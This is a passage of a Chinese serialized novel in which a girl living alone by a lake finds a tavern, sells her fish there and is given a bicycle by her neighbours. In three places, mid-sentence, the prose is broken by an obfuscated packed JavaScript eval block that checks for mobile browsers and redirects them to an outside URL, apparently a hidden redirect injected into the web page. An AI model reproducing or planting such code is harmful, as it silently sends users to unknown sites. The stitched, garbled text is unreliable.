莉娅想起米勒家几乎是由女性主导的，利奥那位能做出镇子上最好吃的苹果派的母亲，和他那两个同样个性鲜明的姐姐。在这种环境中长大的利奥对女性有一种天然的尊重和理解。所以他不是在扮演骑士，他只是在做他认为正确的事。 沉默许久后，莉娅轻声说："谢谢。" “没关系。"他简短回应，没有回头。 回到湖边的小屋时，天色已近黄昏。莉娅推开吱呀作响的木门，屋内静悄悄的，只有冰箱运转的嗡鸣声打破寂静。她先走到窗台边，为母亲种下的几束金盏花和薰衣草浇水。这些花儿在母亲的照料下曾经开得灿烂，如今虽然有些萎靡，但仍在顽强地活着，就像莉娅自己。 她从抽屉里取出母亲最近寄来的信，已经读过无数遍，信纸边缘都有些磨损了。 「亲爱的莉娅」信上写道「密尔沃基的工作很忙，但我一切都好。随信附上一些钱，记得买些好吃的。妈妈爱你」字迹匆忙，墨迹深浅不一，仿佛是在工作的间隙匆匆写的。 她数了数手头剩下的零散钞票，又打开那个旧饼干盒，里面整齐地放着母亲陆续寄来的、数额不等的钞票。她仔细清点，计算着这些钱还能支撑多久。 可是不安感像细小的藤蔓悄悄缠绕着她的心。 走进厨房，打开储藏室的门。架子上整齐地摆放着邻居们送来的各种食物，米勒太太的接骨木花糖浆和果酱，安娜阿姨手制的苹果酱，还有一袋面粉和几瓶蜂蜜，都是镇上相熟的人送来的。 取出面粉和酵母，莉娅开始准备晚餐。她舀出面粉，加入温水，手法熟练地揉捏面团，在这熟悉的动作中，她仿佛又回到了从前母亲在厨房里边哼歌边做饭的时光。那时的阳光总是很好，把母亲的头发染成蜜色。 "来，宝贝，尝尝这个。"那时母亲会用小勺舀一点刚熬好的果酱，轻轻吹凉后递到她嘴边。有时母亲会故意沾点面粉在她的鼻尖，然后两人笑作一团。 那些午后阳光透过厨房窗户，将母亲的身影镀上一层金色，空气中弥漫着烘焙的香气和母亲轻柔的歌声。 莉娅揉着面团，想起母亲说过的话。 “莉娅，我的宝贝。你要学会照顾自己，无论发生什么，都要坚强。" 当时她不明白母亲话中的深意，现在却隐约感受到了其中的重量。 面团在手中反复揉捏，莉娅的决心也越来越坚定，看着渐渐光滑的面团，突然有了主意。她要烤些面包送给那些一直帮助她的邻居们，虽然不能完全回报他们的善意，但至少是她的心意。 还有，更重要的是她需要靠自己赚点钱。母亲寄来的钱虽然能解燃眉之急，但终究不是长久之计。莉娅将揉好的面团放入盆中，盖上布等待发酵。她站在厨房窗前，望着窗外宁静的湖面，心里已经开始盘算着各种可能。 夜幕缓缓降临，小屋的灯光在湖边孤独地亮着。莉娅取出母亲的信又看了一遍，然后将它仔细收好。 清晨，第一缕曙光才刚刚染白东边的天空，莉娅已经站在湖边。晨雾如轻纱般笼罩着湖面，空气中弥漫着潮湿的水汽和榆树的清香，她深吸一口气，那熟悉的味道让她想起无数个与父亲在此度过的清晨。 她的父亲是在她大约六岁时生病去世的，已经过去好久了。 那艘蓝色的小船静静漂浮在房屋栏杆下，船身上的漆已经斑驳脱落，露出底下灰白的木质。莉娅小心地踏上船板，木头发出轻微的吱呀声，但感觉还算结实。船底积着一层雨水，她用带来的水瓢一点点舀出积水。 发动机的状况更令人担忧，马达外壳锈迹斑斑，启动绳有些磨损。莉娅想起利奥上次看到这艘船时的表情，他站在十英尺外，双手插在口袋里，烟灰色的眼睛眨得很慢。 "发动机需要上油，"他当时说着，递给她一瓶机油，"小心点用。" 莉娅仔细地为发动机上了油，然后试着拉动启动绳。第一次尝试发动机只是发出一声闷哼就沉默了，第二次它“噗噗”地响了几声又归于平静。当她调整了油阀，再次用力一拉…… 发动机突然轰鸣起来，那声音惊起了湖边榆树上栖息的白鹭，它们振翅飞向渐亮的天空。 莉娅微笑着看它们消失在天际，然后小心地将船缆解下。 这艘船曾经是父亲最珍视的财产，仅次于他的猎枪和她的母亲。每个周末他都会花上小半天时间仔细擦拭保养。莉娅还记得父亲宽厚的背影，记得他站在船尾操纵马达的样子，风吹乱他深褐色的头发，而他会回头对莉娅露出灿烂的笑容。 "莉娅宝贝，今天我们要钓条大的，晚上让你妈妈给我们做炸鱼排。"父亲总是这样说着。 那些记忆已经泛黄褪色，如同老照片般被时间蒙上一层柔和的滤镜。自父亲去世后，小船就再没人使用，直到利奥的父亲从心血来潮想钓鱼。 利奥的父亲，大家都叫他老米勒。那次带着她和利奥，还有米勒家那只总是兴奋过度的金毛犬波比，一起乘船去湖心钓鱼。 老米勒的手很大，手指粗壮，却能灵巧地制作鱼钩和修理钓具。 “看准浮标，莉娅，”他曾经耐心地教导，"就像看准生活中的机会一样，太早收线会吓跑鱼儿，太晚就会错过。" 那天她钓到一条罕见的大鱼，是条漂亮的北美狗鱼。鱼儿上钩的瞬间钓线绷得笔直，钓竿几乎要从她手中脱出。她惊叫起来，老米勒和利奥都过来帮忙，三个人手忙脚乱，脚下的船突然摇晃得厉害，然后…… 扑通！三人一狗全都跌入了清凉的湖水中。 老米勒第一个冒出头，甩着头发上的水珠，爆发出洪亮的大笑。他一手一个，像拎小鸡一样将她和利奥举回湿滑的船上。波比则自己游回船边，湿漉漉地爬上来，兴奋地抖落一身水珠，溅得大家满头满脸。 靠岸时妇女们围上来，七嘴八舌地递过干燥的毛巾，责备声中夹杂着忍不住的笑意。米勒太太一边笑一边用毛巾抽打丈夫结实的后背，利奥的两个姐姐毫不留情地取笑落汤鸡般的弟弟，而吉姆女士则严肃地皱著眉，催促大家快去换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790923|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉湿衣服，免得着凉。 那些夏日的喧嚣与欢笑，如今已如远去的回声，温暖却不可触及。 莉娅摇摇头，将思绪拉回现实。她小心地将船驶向湖心，那里有一处老米勒曾经指给她看的区域：“最好的鱼总在那儿等着，莉娅，记住这个地方。" 到达预定位置后，她关掉发动机。突如其来的寂静笼罩下来，只有湖水轻拍船身的声音和远处鸟儿的鸣叫。莉娅放下自制的鱼钩，用的是老米勒教的方法，然后她调整草帽，坐下来开始等待。 她的计划很实际，如果能钓到足够的鱼，既可以改善伙食，多出来的还可以腌制起来送给帮助过她的邻居们。如果收获特别丰富，或许还能拿到市场上卖点钱。 母亲寄来的钱虽然够她用了，但她知道不能永远依赖这个。 等待的时间里，莉娅从随身携带的布袋里取出一本旧书。书页已经泛黄卷边，散发着令人安心的旧纸和墨水的气味。 阅读是她最大的慰藉，橡林镇图书馆那位总是戴着玳瑁眼镜的老管理员霍金斯先生常说，她是图书馆有史以来借书最勤快的人。上个季度图书馆为鼓励阅读举办了小型比赛，莉娅毫不意外地位列第一，获得了一个精致的笔记本，扉页上盖着图书馆的印章和一句寄语：给最忠实的读者，愿故事永远与你相伴。 偶尔她会咬一口自制的三明治，啜饮果汁，眼睛却始终留意着浮标的动静。时间一点点流逝，太阳升高了，湖面上的雾气渐渐散去。然而浮标始终没有明显的动静，只有微小的涟漪显示水下有鱼在试探。但直到快中午时分，她才钓到一条鲈鱼，勉强够做一顿晚餐。 莉娅叹了口气，决定冒个险。她记得老米勒曾经指着西边的湖岸说："那边水深，有很多老树根沉在水底，是大鱼藏身的好地方。但水路复杂，不熟悉的人容易迷路或者搁浅。" 她发动马达，向着西岸驶去，越靠近那边湖边的植被越发茂密。榆树和橡树的枝条低垂到水面上，形成一道天然的绿色帷幕。若不细看，很难发现那些蜿蜒在水草丛中的隐秘水道。 她小心地记下返程的路线特征，一棵形状特殊的歪脖子树，一块突出的岩石，一处芦苇特别茂密的水域。她全神贯注地寻找着理想的钓鱼点，以至于没有注意到水下的情况。 突然，船身一震，发动机发出异常的响声，然后彻底沉默。莉娅的心沉了下去，她探头查看，发现螺旋桨被一段沉木和水草紧紧缠住了。 尝试重新启动发动机只是徒劳，她查看四周，幸好这里水很浅，可以清晰地看见湖底光滑的鹅卵石和水草。 莉娅叹了口气，脱下鞋袜，卷起裤腿，小心翼翼地踏入湖水中。凉意从脚底蔓延上来，她不禁打了个寒颤。湖底的沙石光滑而稳固，偶尔有小鱼从她脚边游过。 她弯下腰用肩膀抵住船尾，用力推动小船，船底与湖底摩擦发出沉闷的沙沙声。每推一段令人筋疲力尽的距离她就要停下来辨认方向，同时拼命记住来时的路线。 就这样艰难前行了约莫二十分钟，莉娅已经汗流浃背，手臂和肩膀酸疼不已，湿透的裤腿黏在皮肤上又冷又重。正当她开始担心自己是否要在这荒僻的湖湾里过夜时，眼前豁然开朗。 水道突然变宽，形成一个小湾，而湾边赫然矗立着一座木结构建筑。 那是一座两层楼的酒馆，看起来有些年头了。木墙被风雨侵蚀成灰白色，招牌上写着"鲈鱼喉"三个字，字迹已经有些模糊，建筑部分悬在水面上由粗木桩支撑着。二楼有个阳台，可以看到几张空着的桌椅。一条木栈桥从酒馆延伸至水中，几艘小船系在那里随波轻荡。 莉娅将船靠在栈桥边，先在水边洗净脚上的泥沙，然后用毛巾擦干，穿上鞋袜，试图恢复一点体面。她整理了一下皱巴巴的衣服和被树枝勾得有些凌乱的头发，深吸一口气，走向酒馆的大门。 推开门的一瞬间，喧闹声和混杂的气味扑面而来。啤酒、烟草、油炸食物和男人的汗味，室内的光线比外面暗许多。 她花了几秒钟才适应过来。 5. chapter5 酒馆内部比莉娅想象的要宽敞。 一个长长的木质吧台像一艘搁浅的旧船占据了一侧墙面，后面摆满了各式酒瓶，另一侧墙上有台电视机正播放着棒球比赛，一群男人围在下面大声议论着。中间区域散放着几张桌子，棋局、牌局、桌球…… 然后，门开了。 所有的活动在莉娅推门而入的瞬间都停了下来，十几双眼睛齐刷刷地转向她，空气中突然的寂静比之前的喧闹更令人不安。 莉娅有些局促。 吧台后面一位灰发女子正在擦拭酒杯，约莫五十多岁，头发在脑后挽成一个紧实的发髻，穿着简单的格子衬衫和围裙。看到莉娅，她微微皱眉，然后挥了挥手中的抹布。 "看什么看？没见过姑娘啊？" 她的声音洪亮顿时打破了僵局，男人们讪讪地转回头，但莉娅仍能感觉到好奇的目光不时瞥向她。 老板娘转向莉娅，语气稍稍缓和："迷路了，亲爱的？" 莉娅解释了自己的困境，说到船被卡住时几个男人发出同情的啧啧声。老板娘点燃一支烟，眯着眼睛打量了莉娅一会儿，然后指向一个正在玩桌球的壮汉。 "杰克，去帮这姑娘看看船。" 被点名的男人不情愿地直起身："等等希卡，我这局还没打完。" 老板娘希卡吐出一口烟圈："你前几次赊的账还没还呢，修好她的船，咱们就算清一部分。" 杰克顿时哑口无言像一只被掐住脖子的公鸡，他嘟囔着，大概是抱怨命运的不公，然后重重地放下桌球杆，抓起一件油腻的外套向外走去。经过莉娅身边时，他咕哝道："在哪儿搁浅的？" 莉娅描述了一下位置，杰克点点头："那地方确实难走，树枝和水草多，经常卡船。"说完就推门出去了。 希卡示意莉娅在吧台前坐下，倒了一杯柠檬水推给她："没见过你，从哪来？" 她问道，语气不算亲切，但也没有敌意。 "橡林镇。"莉娅回答，小啜了一口柠檬水，意外地发现它清甜可口，显然是用新鲜柠檬现调的。 希卡的眉毛微微扬起："大老远跑来这里钓鱼橡林镇没鱼了？还是那边的水不够你们这些年轻人折腾？" 莉娅简单地解释了自己的情况，说到母亲去蜜尔沃基工作时，希卡的表情柔和了些许。 “一个人生活不容易。”她评论道，又给莉娅续了一杯柠檬水。 交谈间，莉娅的目光被牌桌边一个特别的身影吸引。 那是一位穿着背带裤的短发女子，约莫二十五六岁，正懒散地靠在椅背上玩牌。她的打扮十分中性，工装衬衫、背带裤和结实的工靴，但面容清秀，眼神灵动。她不像其他酒客那样喧闹，显得从容不迫。 当那女子突然大笑着一把揽过所有筹码时，旁边一个秃顶男人瘪着嘴嘟囔：“这只是玩玩，莉齐，把筹码还来吧。” 被叫做莉齐的女子毫不客气地拍开对方的手，咧嘴一笑：“输不起啊老汤姆？下一局赢回去不就得了，男人的气概都藏在啤酒肚里了吗？”她的声音爽朗，眼神里闪烁着孩子气的得意。 这时她注意到莉娅的目光，眼睛一亮：“嘿，新面孔带来新运气。” 她朝莉娅招手，“小姑娘，过来坐坐。” 莉娅犹豫地看向希卡，后者微微点头："莉齐虽然没个正形，但不是坏人。" 莉齐拉过一把椅子，动作大开大合："陪我坐会儿，让我沾沾好运。" 她朝后厨喊道，"乔，来盘你的特制曲奇。" 一个围着围裙的胖男人从厨房门口探出头来，看到莉娅，会意地点点头，不一会儿就端来一盘还温热的巧克力曲奇。 莉齐抓了一把塞给莉娅：“吃吧吃吧，乔的曲奇可是一绝。希卡雇到他真是捡到宝了，不然这地方只剩下啤酒和男人的臭脾气，多可怕。" 正说着杰克回来了，咚咚咚地上楼声打断了谈话，"希卡，那船破得可以。"他抱怨道，"螺旋桨轴都弯了，修得我满身大汗，来壶啤酒吧。" 其他酒客起哄嘲笑："一个小姑娘都能开的船有什么难修的？你的力气都用在吹牛上了吗？" 莉齐闻言哈哈大笑，对莉娅眨眨眼："听见没？男人就爱为自己的无能找借口。" 希卡叹了口气，给杰克倒了杯啤酒："修好了？" "得换零件，我暂时校直了轴，加固了船身，能开回去，但最好彻底修修。"杰克一口气喝掉半杯啤酒，"那船有些年头了，是老米勒的风格。" 听到利奥的父亲的绰号，莉娅愣了一下。 希卡注意到她的反应："你认识老米勒？" "他是我邻居，教过我钓鱼和开船。"莉娅解释道。 这时又一群人跟着杰克下去看热闹，莉娅想跟去查看，莉齐却轻松地拉住她的手腕：“别管他们，修个船还能修出朵花来？” 牌局继续，有了莉娅在旁边莉齐果然又赢了几局。她兑换筹码时，特意留下一枚银币，塞进莉娅口袋：“见面分一半，这是规矩。” 她笑得像个恶作剧得逞的孩子，“我叫莉齐，你呢？” “莉娅。” "好名字。"莉齐评论道，琥珀色的眼睛里闪烁着兴趣，“所以你是来自橡林镇的小钓鱼手？” 谈话被一阵骚动打断，有个客人点了炸鱼，希卡突然发火：“炸鱼炸鱼，卢克又不知去哪喝酒了，我要的鱼还没送来，以后这道菜从菜单去掉。” 台下有人哀嚎：“可是希卡，炸鱼是''鲈鱼喉''的灵魂啊。” “没有鱼我拿什么炸？炸你的鞋底吗？”希卡没好气地回敬。 莉娅轻声询问："你们需要什么鱼？" "主要是鲈鱼和太阳鱼，偶尔要梭子鱼。"希卡回答，"为什么问这个？" 莉娅拿出自己钓的那条小鲈鱼："如果你们需要，我可以钓来卖给您。" 希卡眉头微微皱起，但很快又舒展开来。她转身敲敲吧台，吸引大家的注意力："听着以后你们想吃新鲜炸鱼，全靠这姑娘了，叫卢克这个老酒鬼天天拿冷冻鱼来糊弄我。” 人群中响起一阵议论声，但大多带着善意的调侃。莉齐拍拍莉娅的背，差点把她拍得呛住：“加油啊。” 不久后，杰克回来报告船修好了。莉娅向众人道谢告别时，希卡担心地问："知道回去的路吗？"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790924|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莉娅自信地点头。 归途中，莉娅的心情难以言喻地轻快，小船行驶平稳，显然修理得相当用心。她掏出那枚银币，在夕阳下仔细观察。 那是一枚1921年的摩根银元，她吹一口气然后放在耳边听它嗡鸣，传说这样能带来好运。 夕阳将湖面染成金红色，远处橡林镇的轮廓渐渐清晰。她刚停好船，就听见有人叫自己的名字。 "莉娅。" 利奥站在码头上，与她保持着一段距离。他背着长曲棍球器材，像往常那样随意地扛在肩上，夕阳在他身后展开，将他的身影拉得修长。 莉娅举起手中的鱼竿，语气轻快：“我找到了''鲈鱼喉''，还找到了工作。" 利奥的目光掠过她因日晒和兴奋而微红的脸颊：“这安全吗？” "我很好利奥，我还赚了这个。" 莉娅掏出那枚银币。 “下次别一个人去那么远。" 莉娅点点头，但心里知道这个承诺她可能无法遵守。她将小船小心地靠向码头木桩，船身轻触岸边，发出沉闷的摩擦声。 利奥站在那儿，沉默地伸出手，先接过她装鱼的桶和那本边角微卷的旧书，然后一把抓住她的手腕，稳当地将她拉上了岸。 他的手掌温热而粗糙，布满长曲棍球训练留下的老茧，与她被湖水浸得微凉光滑的皮肤形成对比。 “谢谢，”莉娅轻声说，她抽回手理了理被风吹乱的头发，“只是去钓个鱼，没必要那么紧张。” 利奥的目光扫过那艘旧船，随即转向她。 “西边水道杂沉木多，一个人去不安全。” “我知道，”她回答，试图让语气显得轻松，“但我不是安全回来了吗？还找到了‘鲈鱼喉’。希卡就是那儿的老板娘，以后可以去那里卖我钓到的鱼。” 利奥只是“嗯”了一声，注意力似乎已经飘远。莉娅知道，他的心思大概率已经飞到了即将到来的青少年联赛选拔赛上。 曲棍球教练为了确定最终名单，安排了一场正式队员与候补队伍的模拟赛。在长曲棍球这项运动里场上的表现泾渭分明，要么光芒万丈，要么黯淡无光，几乎没有中间地带。 这场较量将决定谁能在联赛中登场，谁又将长久地坐在冷板凳上。 对利奥而言这种选拔几乎不构成压力，他的天赋是公认的，速度、力量、球感、还有那种近乎野性的比赛直觉，让他早在低年级时就被破格提拔。 他并不需要为此焦虑，他的位置稳如磐石。 就在这时，利奥似乎突然想起了什么，对莉娅说：“等我一下。” 莉娅点点头：“好。” 看着他转身快步走向家的背影，莉娅开始仔细地将小船缆绳捆扎固定在码头的木桩上，打了两个结实的水手结。 她拿起那个装鱼的小桶，里面那条拇指大小的太阳鱼还在微弱地游动。她把大鱼给了希卡，独独留下了这条最小的，心里盘算着回家把它养在窗台上的旧玻璃鱼缸里，给安静的屋子添一点生机。 这时，身后传来树枝被踩断的轻微声响。 转过身，看到利奥正推着一辆自行车走过来。 6. chapter 6 那是一辆米白色的女式自行车，保养得还不错，但能看出有些年头了。车把前安装着一个白色的铁丝篮筐，车座的高度似乎被调整过。 “这是我姐姐莎拉以前的旧车，”利奥把车推到莉娅面前，语气随意，仿佛只是顺手拿来的东西，“我检查过胎压没问题，链条上了油，刹车也调紧了。你可以骑着它去湖边或者……去送鱼，会方便很多。” 莉娅愣住了，下意识地拒绝：“哦不，这太……我不能要，我走路可以的。” 利奥坚持着，把车把塞到她手里：“拿着吧，没什么大不了的，反正莎拉也早就不骑了。” 他顿了顿，声音低了一些，“我母亲让我拿给你的，她说……你妈妈不在，你需要个代步的。”他又补充了一句，像是为了进一步打消她的顾虑，“而且莎拉自从那年夏天骑它冲下坡道摔进沟里之后，就再也没碰过它，放在车库里也是落灰。” 莉娅的手指拂过光滑的车把，心里有一丝不愿欠人情的不安。 她总得做点什么回报这份善意。 “谢谢你利奥，也谢谢米勒夫人。也许……也许我可以帮你们家修剪草坪？或者莎拉有什么需要帮忙的？”她试图找到一种平衡。 利奥似乎没太在意她的回报提议，只是用手指了指自行车：“试试看座椅高度合不合适，我按照大概的感觉调的。” 莉娅轻轻吸了口气，跨上自行车。 座椅的高度恰到好处，她的脚尖刚好能点地。她小心翼翼地拨动了一下车把上的铃铛，发出一串清脆的“叮铃铃”的响声。 这意外悦耳的声音让她嘴角不自觉地上扬了一下。 就在这时利奥抬起头，目光投向她身后的小路。 一个身影站在那里，似乎有些犹豫要不要靠近。 是丹尼·威尔逊，那个今年刚被选拔进正式队的新生。他穿着训练后汗湿的T恤，怀里抱着长曲棍球杆，正看着这边。看到利奥注意到他后停住了脚步，没有立刻上前。 莉娅顺着利奥的目光回头，也看到了丹尼。 他比她和利奥都小两个年级，父亲是镇上负责送报纸和牛奶的工人。 莉娅还记得小时候，好几次清晨会看到小小的丹尼坐在他父亲那辆破旧皮卡的副驾驶座上，帮着递送报纸和牛奶瓶，眼神怯生生的。 后来他长大些，疯狂地迷上了长曲棍球。镇上的公共球场只有一处，为了能获得更多的练习时间，他主动承担了保管和开关球场大门钥匙的活儿，总是第一个到，最后一个离开，利用正式队伍训练前后的空隙，一个人对着空墙练习挥杆和射门。 “嘿，丹尼。” 莉娅主动开口，从自行车上下来，“恭喜你入选正式队。” 丹尼的脸上瞬间亮了起来，显然没想到莉娅会认得他，还知道他的好消息。他有些腼腆地笑了笑，快步走了过来：“谢谢你莉娅，我……我真没想到这次选拔能进。” 他的目光亮晶晶地看着莉娅，带着少年人特有的、毫不掩饰的喜悦和一点点羞涩。 “是你应得的，你训练那么努力。”莉娅真诚地说。 “嗯，我会更努力的。” 丹尼用力点头，然后又和她聊了几句关于天气和湖边钓鱼的话，气氛轻松愉快。 利奥站在一旁，抱着手臂没有说话，微微打了个哈欠。 丹尼似乎终于想起了正事，他收敛了笑容转向利奥，语气变得严肃起来：“米勒，我……我找你有点事，是关于下午训练时教练说的那个战术跑位……” 莉娅见状，立刻识趣地退开一步：“你们聊正事吧，我先回去了。再次恭喜你，丹尼。” 她推起自行车。 “谢谢你，莉娅。”丹尼连忙又说了一遍。 推着车走出几步，听到身后丹尼压低的声音：“谢谢你了米勒，刚才练习赛最后那个传球……” 她没有听清利奥的回答。 但她想起就在不久前，训练结束后她偶然路过球场，瞥见丹尼被几个高年级队员围在角落，推搡和训斥的声音隐约传来。她正犹豫着是否要上前，却看见利奥面无表情地从他们旁边走过，肩上的球袋似乎“不小心”重重撞了一下为首的那个老队员马克·斯隆，打断了他的动作。 利奥甚至没停下脚步，只是冷冷抛下一句：“教练看着呢。” 那股无形的压力瞬间让那几人散开了。 莉娅当时没多想，现在结合丹尼的感谢，她似乎明白了什么。利奥用他自己的方式，介入了他或许并不屑于直接干涉的事情。 推着车走在回家的路上，莉娅的手紧紧握着温热的车把。她想到，利奥自己也是在低年级破格入选的，恐怕也经历过类似的事情。 记得有段时间，利奥训练回来后脸色总是不太好，嘴角或手臂上偶尔带着不易察觉的青紫，沉默得吓人。 那时他的父亲刚刚去世。 在这种对抗激烈的运动训练中的意外碰撞太常见了，很难说清缘由。而一旦团队里的老队员心存排斥，故意不配合传球或跑位，再耀眼的天赋也难以施展。 她甚至遇到过几次他在天黑后还独自一人留在球场，被罚清扫场地或是默默加练。 不过之后所有的质疑和排挤，最终都在赛场上被他用实力彻底击碎。那次关键的联赛决赛，他带领橡林镇队赢得了久违的冠军。 所有的杂音，在胜利面前都化为了欢呼。 莉娅回眸，望了一眼他们方向。利奥和丹尼的身影已经模糊。 接下来的几天，莉娅的生活形成了一种新的节奏。 清晨如果天气允许，她会骑上那辆米白色的自行车，车筐里放着三明治和那本旧书，前往湖边。又或者解开缆绳，启动那艘经过杰克粗糙修理但依然□□的小船，驶向老米勒曾经指点过的湖心钓点，或者更冒险一些，小心翼翼地探索西岸那些隐蔽的水道。 她的钓鱼技术日益精进，收获也渐渐多了起来。下午她会带着鲜活的渔获，前往“鲈鱼喉”酒馆。 酒馆里的人们从一开始的好奇围观，渐渐变得习以为常。 她推门而入时，不再是所有目光的焦点，取而代之的是几声友好的招呼。“嘿，小渔女来了。”“今天收获怎么样？我赌三条鲈鱼。”“我赌五条，再加一条太阳鱼。” 希卡通常会从吧台后抬起头，冲她点点头。等莉娅把装鱼的桶递过去，检查过后便会朝厨房喊道：“乔，新鲜的货到了。” 然后不出二十分钟，一盘刚刚出锅、热气腾腾的炸鱼就会放在莉娅面前的吧台上。 炸鱼色泽金黄，外皮酥脆得惊人，咬开后内里的鱼肉却雪白鲜嫩，滚烫多汁。旁边总会配上一小碟浅绿色的、散发着清新香草气息的酱料，希卡称之为“柠檬莳萝酱”，酸甜清爽，完美化解了炸物的油腻。 “喏，尝尝你自己的劳动成果。”希卡总是这么说，并且坚决不肯收她的钱，“我会从卖鱼钱里扣的。” 虽然她总是这么说，但每次给的钱都是很丰厚。 莉齐并不常出现在酒馆，但每次她来酒馆里的气氛总会格外热烈。她玩骰子、打牌、甚至和人掰手腕都丝毫不逊于男人，爽朗的笑声和略带沙哑的嗓音能盖过大部分嘈杂。 有时她会一眼瞥见莉娅，便立刻丢下手中的牌或骰子大步走过来。 “走走走小莉娅，今天天气好，带我去湖上兜风。” 她会拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790925|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉娅出去，有时还会让乔准备一大包刚烤好的曲奇或者炸得金黄的薯条带上船。有莉齐在，钓鱼变得像一场冒险。 她制作鱼饵的方式天马行空，会混入一些稀奇古怪的东西，比如嚼碎的口香糖，或者一点点她喝剩的果汁。要是鱼迟迟不上钩，她甚至会不耐烦地直接拿起抄网下水去捞，动作敏捷得像条水獭。 虽然常常弄得浑身湿透，鱼却没捞到几条，但莉娅从她那里确实学到了不少歪门邪道却偶尔管用的钓鱼小技巧。 莉娅把初见时莉齐给她的那枚摩根银元，用一根结实的皮绳穿起来挂在了脖子上。 酒馆的厨师乔，那个沉默的、有点口吃的大块头，对莉娅的善意是笨拙而实在的。有一次莉娅由衷地称赞他做的芝士蛋糕是她吃过最美味的，并鼓起勇气问他是怎么做的。乔张了张嘴，脸憋得有点红，似乎努力想组织语言，最终却只是摇了摇头，转身快步走回了厨房。 莉娅当时有点失落，以为冒犯了他。但下一次她来酒馆时，乔默默地从厨房拿出一张叠得整整齐齐的纸塞给她。上面用工整的字迹写满了芝士蛋糕的食谱，详细到了每一个步骤，甚至还有手绘的搅拌示意图。 在纸张的右下角，还用铅笔画了一个小小的、歪歪扭扭的笑脸。 莉娅感动得不知说什么好。 她回家后翻出母亲留下的一些碎布头，比划着旧围裙的尺寸，用心缝制了一条新的深蓝色围裙，布料厚实耐洗。她特意在左上角缝了一个大大的口袋，方便乔放笔或小工具，口袋上用明黄色的线绣了一个同样的笑脸。 当她下次把围裙送给乔时，这个大块头男人耳朵尖都红了，他笨拙地点点头，立刻就把新围裙换上了。从那以后，莉娅每次来，都能看到乔穿着那条带着笑脸围裙在厨房里忙碌。 傍晚时分，莉娅会乘船返回家。天色渐暗，湖风微凉，她会先照顾好自己窗台上鱼缸里那条小小的太阳鱼，然后开始准备简单的晚餐。 熄灯前的时间，是属于写信的。她有一个厚厚的美术纸文件夹，专门用来存放母亲的信和她自己的笔迹。母亲的信总是很准时，每周一上午由邮递员投入她家门口的信箱。 每一封信，莉娅都会反复阅读，然后将它们按日期顺序仔细收好。 信里的字迹熟悉而温暖，讲述着密尔沃基的工作见闻、城市景象，叮嘱她好好照顾自己，总说一切安好，让她勿念。 而她自己的信，写得更为频繁，几乎是每日一写。 她只报喜不报忧，发现了“鲈鱼喉”酒馆，认识了有趣的莉齐和善良的乔，希卡老板娘很照顾她，钓鱼的收获越来越多，米勒一家送来了一辆非常实用的自行车…… 那些更深的不安、对母亲的思念、独自生活的寂寞，她则写在一些不会寄出的纸张上，更像是一种私密的日记，写完后便锁进抽屉深处。 又一个周日夜晚，想到明天早上就能收到母亲的新信件，莉娅有些兴奋难眠。 信里会说什么？米尔沃基的生活怎么样？工作顺不顺利？母亲有没有想她？种种念头在她脑海里盘旋，让她在床上辗转反侧。 最终她几乎没怎么睡着，在天色还是一片灰蓝，启明星尚未隐去之时，就早早地爬了起来。一种莫名的急切感驱使着她，她轻手轻脚地走到临街的窗户边，撩开窗帘一角，期盼着能第一时间看到邮递员的身影。 天色渐渐亮了一些，街道依旧安静。 她似乎听到门外有极轻微的、窸窣的声响，心下一动，以为是邮差提前来了。她几乎是迫不及待地按亮了门廊灯，猛地打开了门。 然而站在门外的，并不是邮差。 然而站在门外的，并不是穿着制服的信使。 7. chapter 7 微凉的晨雾中站着的是她的邻居米勒夫人，也就是利奥的母亲。她穿着一件素色的晨袍，外面随意披了件开衫，头发有些散乱，脸上带着尴尬与仓促的神情。 而她的一只手正伸向莉娅家门口的信箱，似乎被突然亮起的灯光和打开的门吓了一跳，猛地缩回手。 她的动作很快。 有时候早晨会带着一种特别的寂静降临，仿佛世界在开口说话之前先深吸了一口气。莉娅就在这样一个寂静的、灰蓝色的清晨打开了门，发现米勒夫人站在门外，一只手正从她家的信箱上快速缩回。 “莉娅，你起得真早。”米勒夫人说，语气里有一丝匆忙。 “我在等妈妈的信。”莉娅解释道，目光下意识地投向信箱。 “信到了，我刚好听到邮差的动静，就想顺便帮你拿进去。”这很合理，因为她经常帮邻居收信件。一件小事而已，就像帮忙收起被风吹落的晾衣绳上的衬衫，顺手的事情 接着莉娅感谢了那辆自行车：“谢谢您让利奥送来的。” 米勒夫人顿了一下，很短的一下，然后点了点头：“哦那辆旧车，莎拉不用了，你能用上就好。” 她轻松地接过了这份功劳，就像一个优秀的守门员接住一个角度刁钻的射门，自然而流畅。 “它非常好骑，利奥还特意调整了座椅高度。”莉娅补充道。 